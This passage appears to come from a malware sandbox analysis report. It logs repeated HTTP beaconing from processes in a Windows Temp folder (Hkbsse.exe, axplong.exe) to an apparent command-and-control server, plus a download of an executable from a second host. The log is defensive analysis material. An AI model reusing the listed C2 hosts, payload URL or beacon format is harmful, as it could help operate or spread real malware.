r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:41.047023058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	59015	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:41.157285929 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:41.818476915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:41.819479942 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:42.022953987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	59016	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:41.488102913 CEST	62	OUT	GET /cdn-directory/see.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	59017	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:42.144407034 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:42.799015999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:42.802180052 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:42.997056961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	59018	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:43.113262892 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:43.769853115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:43.770653963 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:43.966100931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	59019	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:44.079930067 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:44.748306036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:44.749070883 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:44.945854902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	59020	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:45.064209938 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:45.699930906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:45.700905085 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:46.107594967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 13, 2024 07:07:46.108525038 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	59021	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:46.220846891 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:46.862436056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:46.863269091 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:47.054543972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	59022	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:47.173136950 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:47.816052914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:47.816884995 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:48.008579016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	59023	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:48.126652002 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:48.759751081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:48.761848927 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:48.963304043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	59024	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:49.080131054 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:49.718775988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:49.719774961 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:49.910655022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	59025	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:50.034435987 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:50.681734085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:50.685362101 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:50.878304958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	59026	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:50.986422062 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:51.656909943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:51.658049107 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:51.854079962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	59027	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:52.215167999 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:52.867495060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:52.868439913 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:53.071759939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	59028	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
